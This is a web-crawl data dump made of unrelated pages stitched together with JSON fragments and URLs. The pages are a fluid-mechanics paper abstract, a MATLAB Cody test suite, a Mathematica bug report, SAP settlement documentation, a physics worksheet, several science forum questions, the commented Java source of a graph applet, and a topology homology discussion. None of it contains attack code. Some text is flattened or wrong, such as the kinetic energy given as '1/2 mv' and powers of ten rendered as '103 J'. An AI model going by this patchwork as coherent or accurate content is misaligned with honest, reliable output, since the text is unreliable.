inner and outer profiles in the limit, is used to determine their functional forms in the ‘overlap’ region which both retain. The result from near asymptotics is that the velocity profiles in the overlap region must be power laws, but with parameters which depend on Reynolds number y+1/2 and are only asymptotically constant. The theoretical friction law is also a power law depending on the velocity parameters. As a consequence, the asymptotic plane wall jet cannot grow linearly, although the difference from linear growth is small. It is hypothesized that the inner part of the wall jet and the inner part of the zero-pressure-gradient boundary layer are the same. It follows immediately that all of the wall jet and boundary layer parameters should be the same, except for two in the outer flow which can differ only by a constant scale factor. The theory is shown to be in excellent agreement with the experimental data which show that source conditions may determine uniquely the asymptotic state achieved. Surprisingly, only a single parameter, B1 = (Umv/Mo)/ (y+1/2Mo/v2)n = constant where n [approximate] −0.528, appears to be required to determine the entire flow for a given source.\n\n## Författare\n\n#### Lennart Löfdahl\n\nChalmers, Institutionen för termo- och fluiddynamik\n\nVol. 425 361-411\n\n#### Ämneskategorier\n\nStrömningsmekanik och akustik\n\n2017-10-06"
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https://uk.mathworks.com/matlabcentral/cody/problems/1267-calculate-the-probability-that-at-least-two-people-in-a-group-share-the-same-birthday/solutions/679472 | [
"Cody\n\n# Problem 1267. Calculate the probability that at least two people in a group share the same birthday.\n\nSolution 679472\n\nSubmitted on 3 Jun 2015 by bainhome\n• Size: 13\n• This is the leading solution.\nThis solution is locked. To view this solution, you need to provide a solution of the same size or smaller.\n\n### Test Suite\n\nTest Status Code Input and Output\n1 Pass\n%% n = 1; y_correct = 0.00; assert(abs(birthday_prob(n)-y_correct) <= 0.015)\n\n2 Pass\n%% n = 366; y_correct = 1.00; assert(abs(birthday_prob(n)-y_correct) <= 0.015)\n\n3 Pass\n%% n = 0; y_correct = 0.00; assert(abs(birthday_prob(n)-y_correct) <= 0.015)\n\n4 Pass\n%% n = 23; y_correct = 0.5073; assert(abs(birthday_prob(n)-y_correct) <= 0.015)\n\n5 Pass\n%% n = 50; y_correct = 0.9704; assert(abs(birthday_prob(n)-y_correct) <= 0.015)\n\n6 Pass\n%% n = 100; y_correct = 1.0000; assert(abs(birthday_prob(n)-y_correct) <= 0.015)\n\n7 Pass\n%% n = 10 y_correct = 0.1169; assert(abs(birthday_prob(n)-y_correct) <= 0.015)\n\nn = 10\n\n8 Pass\n%% n = 13 y_correct = 0.1944; assert(abs(birthday_prob(n)-y_correct) <= 0.015)\n\nn = 13\n\n9 Pass\n%% n = 2; y_correct = 1/365; assert(abs(birthday_prob(n)-y_correct) <= 0.015)\n\n### Community Treasure Hunt\n\nFind the treasures in MATLAB Central and discover how the community can help you!\n\nStart Hunting!"
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http://forums.wolfram.com/mathgroup/archive/2009/Oct/msg00137.html | [
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"Colorfunction + parametricplot3d + plotrange = ?\n\n• To: mathgroup at smc.vnet.net\n• Subject: [mg103774] Colorfunction + parametricplot3d + plotrange = ?\n• From: koringkriek <astronerma at gmail.com>\n• Date: Mon, 5 Oct 2009 13:16:56 -0400 (EDT)\n\n```Hi,\nI am using Mathematica 7 on Max OS X and came across this problem:\n\nWhen I want to plot:\n\nParametricPlot3D[{5*Cos[fi], 5*Sin[fi], fi}, {fi, 0, 2 Pi},\nColorFunction -> Function[{xx, yy, zz}, If[zz < 2, Red, Blue]],\nPlotStyle -> {Thickness[0.01]}, ColorFunctionScaling -> False]\n\nIt gives a nice plot which I can rotate in the notebook with mouse.\nBut as soon as I add PlotRange specification:\n\nParametricPlot3D[{5*Cos[fi], 5*Sin[fi], fi}, {fi, 0, 2\nPi},ColorFunction -> Function[{xx, yy, zz}, If[zz < 2, Red, Blue]],\nPlotStyle -> {Thickness[0.01]}, ColorFunctionScaling -> False,\nPlotRange -> {{-6, 6}, {-6, 6}, {-6, 6}}]\n\nNot only the colors of the curve are corrupted showing strange white\nstripes but also at the attempt to rotate the 3D plot Mathematica\ncrashes.\n\nIn other cases, for example such a simple plot:\n\nParametricPlot3D[{0, 0, d}, {d, 0, 1*^13}, ColorFunction -> Function\n[{xx, yy, zz, d}, If[d >= 5*^12, Blue, Red]], ColorFunctionScaling ->\nFalse, PlotStyle -> {Thickness[0.03]}, PlotRange -> {{-1*^12, 1*^12},\n{-1*^12, 1*^12},{-2*^12, 8*^12}}, BoxRatios -> {2, 2, 10}]\n\ncan be rotated but the line has these strange white stripes all along.\nOne thing I have noticed is the stripes go worse if I increase\nPlotPoints number.\n\nCould you please tell me what I am doing wrong or confirm this\nbehavior?\n\nCheers\nAnna\n\n```\n\n• Prev by Date: Re: How to obtain FrameTicks List from an existing Plot?\n• Next by Date: Re: Solving differential equations in the complex plane\n• Previous by thread: Re: How to obtain FrameTicks List from an existing Plot?\n• Next by thread: Re: Colorfunction + parametricplot3d + plotrange = ?"
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https://help.sap.com/saphelp_me60/helpdata/en/73/c9d8530439414de10000000a174cb4/content.htm?no_cache=true | [
"Show TOC\n\n###",
null,
"Settlement of Cost Object Hierarchies: Scenario",
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"#### Settlement of a Cost Object Hierarchy Without Actual Cost Distribution\n\nYou normally use a cost object hierarchy without distribution when you have assigned materials to the cost object hierarchy whose price control indicator in their master record is set to S .\n\n1. You define a cost object hierarchy that contains a cost object node for each level to which actual costs can be assigned.\n\n2. You assign materials to this hierarchy. Create product cost collectors or manufacturing orders for the production of these materials for which settlement will be by period.\n\n3. When you deliver the materials to stock, the system updates the material stock account of the material and credits the order correspondingly.\n\n4. Before settling, you must start variance calculation for the cost object hierarchy. Variance calculation summarizes the target costs and actual costs of the hierarchy, and shows the variances at the highest node at which costs of this origin were incurred.\n\n5. When you settle the costs incurred for the cost object hierarchy, the system checks whether the Variances indicator in the settlement profile is set. If it is, the system generates the following:\n\n• A second apportionment rule in the settlement rule for each cost object node that assigns the variances to the profitability segment for the cost object node.\n\n• A second distribution rule for each order that passes the variances on to the profitability segment for the material produced.\n\n1. The following happens when the cost object nodes are settled:\n\n• The actual costs are updated to the price difference account.\n\n• The variances are passed on to Profitability Analysis according to the PA transfer structure.\n\n1. The following happens when the assigned orders are settled:\n\n• The actual costs are written to a price difference account.\n\n• The variances are passed on to Profitability Analysis according to the PA transfer structure.\n\nAfter settlement, you can display the second distribution rule (receiver = profitability segment) for the cost object hierarchy.\n\n#### Settlement of a Cost Object Hierarchy With Actual Cost Distribution\n\nYou normally use a cost object hierarchy with distribution when you have assigned materials to the cost object hierarchy whose price control indicator in their master record is set to V .\n\n1. You define a cost object hierarchy that contains a cost object node for each level to which actual costs can be assigned.\n\n2. You assign materials to this hierarchy. Create product cost collectors or manufacturing orders for the production of these materials for which settlement will be by period. The system generates a settlement rule for these orders that assigns the order costs to the material (stock) by period. These costs influence the stock value.\n\n3. When you deliver the materials to stock, the system updates the material stock account of the material and credits the order correspondingly.\n\n4. At the end of the posting period, you distribute all costs that were posted to the cost object nodes in the hierarchy to the product cost collectors of the run schedule headers or to the production orders assigned to the hierarchy.\n\n5. Distribution is carried out on the basis of the target costs for the assigned materials. The actual costs are updated to the product cost collectors or production orders.\n\n6. Before settling, you must start variance calculation for the cost object hierarchy.\n\n7. The system calculates variances for all orders and sets the status variances calculated .\n\n8. The following takes place when you settle the order costs: For orders whose settlement rule points to a material, the system automatically generates another distribution rule that points to the profitability segment for the material produced.\n\n9. For a manufacturing order, the settlement receiver is the profitability segment for the material produced, the settlement share is 100%, and the settlement type is periodic .\n\n10. When you settle the order, the order is credited and the offsetting entry is made in the material stock account of the produced material. The system calculates a new moving average price for the material."
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https://www.scc-education.com/2015/06/work-energy.html | [
"# SCC Education\n\n## work …....energy\n\nSharmasir........9718041826...",
null,
"work …....energy)\nWork : Work is said to be done, when a force causes displacement in its own direction.\nNo work is done, if the displacement is not in the direction of applied force or its rectangular component.\nFactors which determine work\n(i) Work done is directly proportional to the magnitude of applied force.\n(ii) Work done is directly proportional to the displacement in the direction of applied force.\n\nMathematical expression for work : If F is the force, which causes a displacement S, in its own direction, such that W is the work done, then W = F × S\n\nSI unit of work : SI unit of work is Joule (J).\nBigger units of work\n(a) kilo joule = 103 J = 1000 J\n(b) Mega joule = 106 J = 1000,000 J\n(c) Giga joule = 109 J = 1000,000,000 J\n\nDefinition of Joule : When a force of 1 N, causes a displacement of 1 m in its own direction, the work done is said to be one joule. So, 1 J = 1 N × 1 m = 1 kgms–2 × 1 m = 1 kgm2s–2.\n\nEnergy : Capacity of doing work is called energy.\n\nUnits of energy : Same as units of work, i.e., Joule.\nPotential energy : The energy possessed by a body on account of its position or configuration is called potential energy.\nMathematical expression for potential energy :\nP.E. = mgh\nwhere ‘m’ is the mass,\n‘g’ is the acceleration due to gravity and\n‘h’ is the height.\nCharacteristics of potential energy\n(a) Potential energy of a body at the surface of earth is taken as zero.\n(b) When a body is raised above the ground level, its potential energy increases.\n(c) When a body is brought from a height towards the ground, its potential energy decreases.\n(d) At any point above the surface of the earth, potential energy is numerically equal to the work done in raising the body.\n\nKinetic energy : The energy possessed by a body by virtue of its motion is called kinetic energy.\n\nMathematical expression for kinetic energy\nΚ.Ε. = 1/ 2 mv\nwhere ‘m’ is the mass of the body and ‘v’ is the uniform velocity.\n\nPower : Rate of doing work is called power.\n\nSI unit of power : SI unit of power is watt (W), where 1 W = 1 Js–1\n\nMathematical expression for power : P = W t where ‘P’ is the power, ‘W’ is the work done (or energy used) and t is the time in seconds.\n\nBigger units of power\n(a) kilowatt (kW) = 103 W = 1000 W\n(b) Megawatt (MW) = 106 W = 1000,000 W\n(c) Gigawatt (GW) = 109 W = 1000,000,000 W\n\nDefinition of watt : When a work of 1 J is done in 1 s, then the power is said to be 1 watt.\n. Law of conservation of energy : Energy in a system cannot be created, nor can it be destroyed. It may be transformed from one form to another form, but the total energy of the system remains constant\n\n1. Seema tried to push a heavy rock of 100 kg for 200 s but could not move it. Find the work done by Seema at the end of 200 s.\n\n2.At what speed a body of mass 1 kg will have a kinetic energy of 1 J?\n3.Define 1 Joule of work.\n\n4.Identify the energy possessed by a rolling stone.\n5.Identify the kind of energy possessed by a running athlete.\n\n6.What would be the amount of work done on an object by a force, if the displacement of\nthe Sharmasir.....................9718041826\nobject is zero?\n\n7.How much work is done by a weight lifter when he holds a weight of 80 kg on his shoulders for two minutes?\n\n8.A car and a truck are moving with the same velocity of 60 km/hr. Which one has more kinetic energy? (Mass of truck > Mass of car).\n\n9.A body is thrown vertically upwards. Its velocity goes on decreasing. Write the change in kinetic energy when its velocity becomes zero.\n\n10.A force of 10 N moves a body with a constant speed of 2 m/s. Calculate the power of the body.\n\n11.What will be the kinetic energy of a body when its mass is made four times and the velocity is doubled?\n\n12.A freely falling object eventually stops on reaching the ground. What happens to its kinetic energy on reaching the ground?\n\n13.State the energy conversions in a dry cell.\n\n14.What is the work done by the Earth in moving around the Sun?\n\n15.A coolie is walking on a railway platform with a load of 30 kg on his head. How much work is done by coolie?\n\n16.How many times does the kinetic energy of a body become when its speed is doubled?\n\n17. In an oscillating pendulum, at what positions the potential and kinetic energy are maximum?\n\n18.Define S.I. unit of work?\n\n19.Name the type of energy possessed by a raised hammer?\n\n20.What is the form of energy possessed by a running car?\n\n21.State the value of commercial unit of electrical energy in joules?\n\n22.2 m high person is holding a 25 kg trunk on his head and is standing at a roadways bus-terminus. How much work is done by the person?\n\n23.A horse of mass 210 kg and a dog of mass 25 kg are running at the same speed. Which of the two possesses more kinetic energy? How?\n\n24.If the speed of the body is halved, what is the change in its kinetic energy?\n\n25.Moon is experiencing a gravitational force due to Earth and is revolving around the Earth in a circular orbit. How much work is done by moon?\n\n26.Give the formula for calculating work done. What is the SI unit of work?\n\n27.Define 1 watt of power.\n\n28.A man holding a bucket of water on his head stands stationary. Is he doing any work? Give reason.\n\n29.Name the type of energy possessed by the following?\n\n30.(i) Stretched slinky (ii) Speeding car 30. Write the formula to measure the work done, if the displacement of the object is at an angle of 90° to the direction of force.\n\n31.If we lift a body of mass 70 g vertically upwards 10 m then calculate the force required to lift the body (g = 10 ms–2).\n\n32.At what rate is electrical energy consumed by a bulb of 60 watt?\n\n33.Give an example of a body having potential energy due to change of shape.\n\n34.When is work done by a force zero?\n\n35.If the heart works 60 joules in one minute, what is its power?\n\n36.Name the term used for the sum of kinetic energy and potential energy of a body.\n\n37.Write the observed energy transformation that takes place at thermal power station.\n\n38.A 40 kg girl is running along a circular path of radius 1 m with a uniform speed. How much work is done by the girl in completing one circle?\nSharmasir.....................9718041826\n\n39.Calculate the work done when a force of 15 N moves a body by 5 m in its direction.\n\n40.Write the S.I. unit of power.\n\n41.A student is writing a three hours science paper. How much work is done by student? Give reasons to your answer.\n\n42.When displacement is in a direction opposite to the direction of force applied, what is the type of work done?\n\n43.What is the work done against gravity when a body is moved horizontally along a friction-less surface?\n\n44.When does a force do work? How is this work measured?\n\n45.State the mathematical expression for work.\n\n46.What are the conditions for doing work? 4. Is work a scalar or a vector quantity?\n\n47.Give one example of a moving body, where no work is done.\n\n48.Explain, why no work is done when a man pushes a wall.\n\n49.Define the term ‘power’. 8. A boy climbs 100 stairs to reach at the top of a building. What happens to the potential energy of the boy?\n\n50.Water flows down the mountains to the plains. What happens to the potential energy of water?\n\n51.Give two examples in which a body possesses potential energy.\n\n52.What do you understand by the term kinetic energy?\n\n53.What determines the kinetic energy of a body of a given mass?\n\n54.What is the biggest source of energy?\n\n55.How is power related to work and time?\n\n56.What do you understand by the term mechanical energy?\n\n57.What do you understand by the term potential energy?\n\n58.State the law of conservation of energy.\n\n59.What do you understand by the term energy transformation?\n\n60.What kind of energy transformation takes place when the hands are rubbed?\n\n61.The velocity of a body moving in a straight line is increased by applying a constant force F, for some distance in the direction of the motion. Prove that the increase in the kinetic energy of the body is equal to the work done by the force on the body.\n\n62. In each of the following a force F, is acting on an object of mass m. The direction of displacement is from west to east shown by longer arrow. Observe the diagrams carefully and state whether work done by force is –ve, +ve or 0.5\n\n63.(a) Define 1 watt. (b) An electric bulb of 60 W (sixty watt) is used for 6 (six) hours per day. Calculate the units of energy consumed in one day by the bulb.\n\n64.(a) Is it possible that a force is acting on a body but still work done is zero? Explain giving one example.\n(b) Two bodies of equal masses move with uniform velocities of v and 3v respectively. Find the ratio of their kinetic energies.\n\n65.A sparrow and a crow are having the same kinetic energy during a flight. Which of the two is moving fast and why?\n\n66.Why does a satellite going around the Earth in a circular path does not work? 3. A locomotive exerts a force of 7500 N and pulls a train by 1.5 km. How much work is done by the locomotive in mega-joules?\n\n67.Why is no work done, when a force acts at right angles to the direction of displacement?\n\n68.The energy of a torch cell is converted into two other forms of energy in a flashlight bulb. Name the energy conversions.\n\n69.(a) How much work is done when a force of 1 N moves a body through a distance of 1 m in its direction?\n(b) Is it possible that a force is acting on a body but still the work done is zero? Explain giving one example.\nSharmasir.....................9718041826\n\n70.What is meant by potential energy? Is potential energy a vector or scalar quantity? (b) Given one example of a body having potential energy.\n\n71.A man climbs a slope and another walks the same distance on a level road. Which of the two expends more energy and why?\n\n72.A nail becomes hot when hammered into a plank. Explain, why?\n\n73.If you apply 1 J of energy to lift a book of. 0.5 kg, how high will it rise? [Take g = 10 ms–2]\n\n74.What force will cause a displacement of 2 m, while doing a work of 60 J? 10. Calculate the work done by a machine of 50 W power rating in 30 s.\n\n75(a) Can any object have momentum even if its mechanical energy is zero? Explain why? (b) A ball is dropped from a height of 10 m. If energy of the ball reduces by 40% after striking the ground, how high can the ball bounce back? (g = 10 m/s2)\n\n76.(a) Define potential energy. Write an expression for potential energy of an object of mass m raised through a height h. (b) Find the energy possessed by an object of mass 10 kg when it is raised to a height of six metre above the ground given g = 9.8 ms–2.\n\n77.Define power. A boy of mass 45 kg climbs up 20 steps in 20 sec. If each step is 25 cm high, calculate the power of the boy used in climbing. (Take g = 10 m/s2)\n\n78.(a) Write the relation between commercial unit of electricity and the S.I. unit of energy. )] (b) A boy of mass 45 kg climbs up 20 steps in 20 second. If each step is 25 cm high,\n\n79.A mass of 10 kg is dropped from a height of 50 cm. Find its : (a) potential energy just before dropping (b) kinetic energy just on touching the ground (c) velocity with which it hits the ground [Given g = 10 ms–2]\n\n78.(i) Define the term potential energy. Write the S.I. unit of potential energy. (ii) A body of mass 50 kg is situated at a height of 10 m. What is its potential energy (Given g = 10 ms–2)\n\n79.(i) Define power. Mention its S.I. unit. (ii) A body of mass 50 kg runs up a staircase of 40 steps in 8 s. If the height of each step is 15 cm, find his power. (Given, g = 10 ms–2)\n\n80.A light and heavy object have the same momentum, find out the ratio of their kinetic energies. Which one has a larger kinetic energy?\nnewtons-laws-force-and-motion\nmotion\nforce-pressure-and-friction\nsound\nwork-energy-and-power\nlaws-of-motion-key-points\ngravitation-gravitation-is-force-\nwork-and-energy(notes)http://www.scc-education.com/2015/06/1.html",
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https://www.physicsforums.com/threads/how-to-get-the-critically-damped-vibration-equation.309572/ | [
"# How to get the critically damped vibration equation\n\n## how to u get the critically damped equation\n\n• ### j is the xi (greek alphabet which equals C/Cc and w' damping\n\n• Total voters\n1\n1. SDOF Systems Governing Equation m(dx^2/dt^2) + c(dx/dt)+ kx = F(t)\n\nhow do i get this equation below?\n\nFree Critically damped Vibration x(t) = e^(wt) [x(0)(1+wt) + (dx/dt)(0) t]\n\n(dx/dt is x with 1 dash on top)"
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https://chemistry.stackexchange.com/questions/26848/why-not-to-consider-hydrogen-and-oxygen-moles-to-determine-an-empirical-formula | [
"# Why not to consider hydrogen and oxygen moles to determine an empirical formula\n\nA question says:\n\nFind the empirical formula of an organic compound from the following composition:\n\n34.62% C, 3.88% H, 61.50% O.\n\nThe answer is $\\ce{C3H4O4}$. It was found by using the mass (percentages) divided by the molar mass of each element.\n\nBut they didn't consider the (2moles) of hydrogen and oxygen in calculations. Why? in this case it will be $\\ce{CH3O3}$\n\nOn the other hand, in a similar question in the text book, they consider the moles of hydrogen and oxygen in calculations by multiplying by 2 after getting the moles.\n\nCould anybody explain?\n\nThe answer is $\\ce{C3H4O4}$. It was found by using the mass (percentages) divided by the molar mass of each element.\n\nExactly! That's the way to do it.\n\nBut they didn't consider the (2moles) of hydrogen and oxygen in calculations. Why? In this case it will be $\\ce{CH3O3}$\n\nNo, they did not! As you have pointed out yourself, it is about the empirical formula of a compound in question, such as one of the following:",
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"It is completely irrelevant whether an element usually exists as a diatomic molecule in nature. If that would matter, how would you then treat sulfur-containing compounds? Note that natural sulfur typically consists of $\\ce{S8}$ molecules! How would you treat elements that only appear in the form of compounds in nature but never as pure elements.\n\nIn summary, the \"natural appearance\" of elements in nature does not matter here, it is only about the relative atomic abundance of an element in the compound in question."
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http://math.hws.edu/javamath/basic_applets/GraphApplet2.html | [
"[ prev | main | next ]\n\n# Graph Applet 2\n\nThis applet that draws the graph of a function and marks\na point on the graph with a crosshair. The position of the\npoint is controlled by a slider at the bottom of the applet.\nEnter the function in box at the bottom of the applet and press\nreturn. You can click on the graph to zoom in on a point.\nShift-click to zoom out from a point. Or drag the mouse to draw\na rectangle that is then zoomed to fill the whole graph area.\nOr right-click-and-drag to slide the graph around.\n\nThis applet is an improvement over the previous GraphApplet1.\nYou should probably look at that applet first.\nThe source code for the applet shows how it was assembled\nfrom JCM components:\n\n```\n\nimport java.awt.*;\nimport edu.hws.jcm.data.*;\nimport edu.hws.jcm.draw.*;\nimport edu.hws.jcm.awt.*;\n\npublic class GraphApplet2 extends java.applet.Applet {\n\nprivate DisplayCanvas canvas;\n\npublic void stop() {\n// To be a little nicer to the system, I have declared the DisplayCanvas\n// outside the init() method, and I use the standard stop() method of\n// the applet to call canvas.releaseResources(). This frees up the\n// substantial amount of memory that is used for the off-screen copy\n// of image displayed on the canvas. (This off-screen copy is used for\n// \"double-buffering\".)\ncanvas.releaseResources();\n}\n\npublic void init() {\n\nParser parser = new Parser(); // Create the parser and the variable, x.\nVariable x = new Variable(\"x\");\n\ncanvas = new DisplayCanvas(); // Create the canvas, and set it to do zooming.\ncanvas.setHandleMouseZooms(true);\n\n// the canvas to slide the graph around.\n\nCoordinateRect coords = canvas.getCoordinateRect();\n// Behind the scene, a canvas has a CoordinateRect, which actually keeps track\n// of the x- and y-limits (and does some of the other work of the canvas).\n// For some purposes, you need the CoordinateRect. You can obtain it by\n// calling the DisplayCanvas's getCoordinateRect() method.\n\nLimitControlPanel limits =\nnew LimitControlPanel( LimitControlPanel.SET_LIMITS | LimitControlPanel.RESTORE, false);\n// In this case, I am using a LimitControlPanel that contains two buttons.\n// the usual \"Set Limits\" button and a \"Restore Limits\" button. The second button\n// button will restore the original limits on the canvas. The second parameter\n// to this constructor can be set to true if you would like the components in the\n// LimitControlPanel to be arranged into two columns instead of one.\n// Buttons can also be added after the constructor is called by calling\n// the addButtons() method from class LimitControlPanel.\n\nExpressionInput input = new ExpressionInput(\"sin(x)+2*cos(3*x)\", parser); // For user input\nFunction func = input.getFunction(x); // The function that will be graphed.\nGraph1D graph = new Graph1D(func); // The graph itself.\n\nVariableInput xInput = new VariableInput(); // An input box where the user can\n// specify the x-coordinate of the\n// point on the graph that is marked\n// by the crosshair.\n\nVariableSlider xSlider = new VariableSlider( coords.getValueObject(CoordinateRect.XMIN),\ncoords.getValueObject(CoordinateRect.XMAX) );\n// A VariableSlider is a slider (actually a Scrollbar) that the user can\n// adjust as a means of inputting a value. The parameters to the constructor\n// specify the minimum and maximum of this value. In this case, the minimum\n// value is coords.getValueObject(CoordinateRect.XMIN). This says that the\n// minimum value on the slider is given by the minimum x-value on the canvas's\n// CoordinateRect. This minimum is adjusted automatically when the limits\n// on the CoordinateRect change. The maximum value is similar.\n// This Variable Slider is actually used as a second way of inputting the\n// x-coordinate of the point where the crosshair is shown. Later, the value of\n// the slider will be \"tied\" to the value in the VariableInput. You should check\n// that when you change one, the other is also changed. (To change the\n// value associated with the VariableInput box, you have to press return\n// in that box.)\n\nDrawString info = new DrawString(\"x = #\\nf(x) = #\", DrawString.TOP_LEFT,\nnew Value[] { xSlider, new ValueMath(func,xSlider) });\n// A DrawString draws a string on a DisplayCanvas. The string can have line\n// breaks, indicated by '\\n', and can contain embedded Values, indicated\n// by '#'. The position of the string is DrawString.TOP_LEFT. That is,\n// it is in the top-left corner of the canvas. The third parameter is\n// an array of Value objects whose values are substituted for the #'s\n// in the string.\n\ninfo.setFont( new Font(\"SansSerif\",Font.BOLD,12) ); // Set properties of the DrawString.\ninfo.setColor( new Color(0,100,0) );\ninfo.setOffset(10);\n\nComputeButton graphIt = new ComputeButton(\"Graph It!\");\n// A ComputeButton is just a button that can be registered with a Controller,\n// so that clicking on the Button causes the Controller to compute. In this\n// case, this is a redundant input, since pressing return in the ExpressionInput\n// box will accomplish the same thing. However, the button gives the user\n// a more obvious way to change the function that is graphed.\n\nJCMPanel main = new JCMPanel(); // The interface is constructed of JCMPanels.\nJCMPanel top = new JCMPanel();\nJCMPanel bottom = new JCMPanel();\nmain.setInsetGap(3);\n\ntop.add(new Label(\" f(x) = \"), BorderLayout.WEST);\n\nbottom.add(new Label(\" x = \"), BorderLayout.WEST);\n\nsetLayout(new BorderLayout()); // Set up for the Applet itself.\nsetBackground(Color.lightGray);\n\ncanvas.add( new Axes() ); // Add a set of axes to the DisplayCanvas.\n\ncanvas.add( new Crosshair(xSlider, func) ); // Add a CrossHair to the canvas.\n// The crosshair is on the graph of the\n// function, func, at the point whose xCoordinate\n// is given by the value on the slider, xSlider.\n\ncanvas.add( new DrawBorder(Color.darkGray, 2) ); // Add a 2-pixel dark gray border around\n// edges of the canvas.\n\nmain.gatherInputs(); // The Controller for the main panel.\n// must be set to respond to user actions\n// on the input objects. The gatherInputs()\n// method is an easy way to do this. This calls\n// the setOnUserAction() method of the four\n// input objects: input, graphIt, xInput\n// and xSlider.\n\nController controller = main.getController(); // Get the controller from the main panel.\n// We still need it for a few things...\n\ngraphIt.setOnUserAction(controller); // ComputeButtons aren't handled automatically\n// by main.gatherInput(). It must be set\n// to notify the controller when it is clicked,\n// in order for the applet to be recomputed\n// when the button is clicked.\n\ncoords.setOnChange(controller); // Because the VariableSlider depends on the limits\n// on the CoordinateRect, the controller must also\n// listen for changes in these limits. The gatherInputs()\n// doesn't \"gather\" in the coordinate rect.\n\ncontroller.add( new Tie(xSlider,xInput) ); // This is the thing that synchronizes the\n// values on the VariableSlider and the\n// VariableSlider. After checking all the\n// inputs in the applet, the Controller\n// \"synchronizes\" the two objects named\n// in the \"Tie\".\n\n// I forgot to set an errorReporter for this applet!\n// You can check what happens when the input in the applet\n// contains an error. (The error message is printed to\n// standard output. In Netscape, for example, this means\n// that it goes to the Java Console, where it will do the\n// user no good at all.)\n\n} // end init()\n\n} // end class SimpleGraph\n\n```\n\n[ prev | main | next ]"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.6139137,"math_prob":0.7819555,"size":7930,"snap":"2020-10-2020-16","text_gpt3_token_len":1814,"char_repetition_ratio":0.13916226,"word_repetition_ratio":0.0032760033,"special_character_ratio":0.24653216,"punctuation_ratio":0.17206478,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.95399636,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-02-23T14:37:24Z\",\"WARC-Record-ID\":\"<urn:uuid:2bf62821-df12-44f7-9126-e0259854edbe>\",\"Content-Length\":\"14288\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:54cc6ddc-651c-406c-bd28-78280804176a>\",\"WARC-Concurrent-To\":\"<urn:uuid:3e223390-cc00-4b11-9958-885d8d3dec39>\",\"WARC-IP-Address\":\"64.89.144.237\",\"WARC-Target-URI\":\"http://math.hws.edu/javamath/basic_applets/GraphApplet2.html\",\"WARC-Payload-Digest\":\"sha1:URDWLE5CTLMFCZ6FG6N3XSDYSP4P2Q56\",\"WARC-Block-Digest\":\"sha1:2X3DLAXI6FKVPFX26WZTQJFGLZD4AB3R\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-10/CC-MAIN-2020-10_segments_1581875145774.75_warc_CC-MAIN-20200223123852-20200223153852-00459.warc.gz\"}"} |
https://math.stackexchange.com/questions/1550612/computing-homology-of-square-with-all-vertices-identified | [
"Computing homology of square with all vertices identified.\n\nI'm trying to compute the homology of $X = (I \\times I)/\\sim$, where $(0,0)\\sim (0,1) \\sim (1,0) \\sim (1,1)$. I want to do this via cellular homology, using degrees, etc, but I don't got that very well.\n\nIt is clear to me that we start with one $0$-cell, then glue four $1$-cells, then one $2$-cell, so the chain complex is: $$0 \\to \\Bbb Z \\stackrel{d_2}{\\to}\\Bbb Z \\oplus \\Bbb Z \\oplus \\Bbb Z \\oplus \\Bbb Z \\stackrel{d_1}{\\to} \\Bbb Z \\to 0$$\n\nIf we call the vertex $v$, the $1$-cells $a, b, c$ and $d$, and $A$ the $2$-cell, then we have: $$d_2(A) = \\deg(f_a) a + \\deg(f_b)b + \\deg(f_c)d + \\deg(f_d)d,$$where each $f_i$ is the following map: $$\\Bbb S^1\\underbrace{\\longrightarrow}_{\\text{attaches A to X_1}} X_1 \\underbrace{\\longrightarrow}_{\\text{collapses X_1 except i}}\\Bbb S^1$$\n\nI'm fairly sure that all the degrees will be the same, so it suffices to compute $\\deg(f_a)$. I have no idea of how to do that. I suspect that they'll be $1$, but I'm \"thinking simplicially\" here.\n\nI mean, I don't know how to translate that collapsing of $X_1$ in terms of the word $abcd$ that represents the attaching map (thinking two more minutes the attaching map seems to be the identity, but I'm not sure at all of what I'm doing). Can someone help me? Thanks.\n\nEdit: This specific problem is solved in the comments thanks to Qiaochu's nice observation, but I still don't get the bigger picture of these computations with degree vs words, so any explanation is welcome. This space can be used as an example yet.\n\n• I think it's cleaner to perform a deformation retract instead. You can think of this space as a \"parachute.\" It deformation retracts onto the space obtained by connecting two points with four edges, which is a wedge of $3$ circles. So $H_0 = \\mathbb{Z}, H_1 = \\mathbb{Z}^3$, and all other homology vanishes. – Qiaochu Yuan Nov 28 '15 at 23:24\n• I can see the parachute, but where did the $2$-cell went when you deformed to the wedge of circles? I'm sorry if my geometric vision here is too bad. – Ivo Terek Nov 28 '15 at 23:27\n• Nevermind, I saw it. I just didn't saw how the space connecting two points with four edges is a wedge of three circles yet.. – Ivo Terek Nov 28 '15 at 23:32\n• Contract one of the edges. – user98602 Nov 28 '15 at 23:55\n• Ah, ok! Thanks. – Ivo Terek Nov 28 '15 at 23:59\n\nYou can write the map $f_a$ down very explicitly. Namely, thinking of $S^1$ as $[0,1]/\\{0,1\\}$, $f_a$ is given by $f_a(t)=4t$ if $0\\leq t\\leq 1/4$ and $f_a(t)=0$ otherwise. Indeed, writing $f$ as the composition of two maps as you have done, the first map is the map that traverses loop $a$ on $[0,1/4]$, traverses loop $b$ on $[1/4,1/2]$, traverses loop $c$ on $[1/2,3/4]$, and traverses loop $d$ on $[3/4,1]$. The second map then just maps all the points in loops $b$, $c$, and $d$ to the basepoint, giving the map $f_a$ described above.\nWe can now just explicitly write a homotopy from $f_a$ to the identity to conclude that $f_a$ has degree $1$. For instance, we could take $H(t,s)=(4-3s)t$ for $t\\in[0,1/(4-3s)]$ and $H(t,s)=0$ otherwise. When $s=0$, this gives $f_a$, and when $s=1$, it gives the identity.\nIn the same way, $f_b$, $f_c$, and $f_d$ are also homotopic to the identity. A bit more systematically, you can say that the attaching map $f:S^1\\to X_1$ corresponds to the word $abcd$ in the free group $\\pi_1(X_1)$ on four generators. The quotient maps $X_1\\to S^1$ for each circle then just kill all but one of the generators, since all the circles but one are collapsed to the basepoint. So for instance, the quotient map for the second circle maps the word $abcd$ to $1b11=b$, which is just the homotopy class of the identity map in $\\pi_1(S^1)$."
] | [
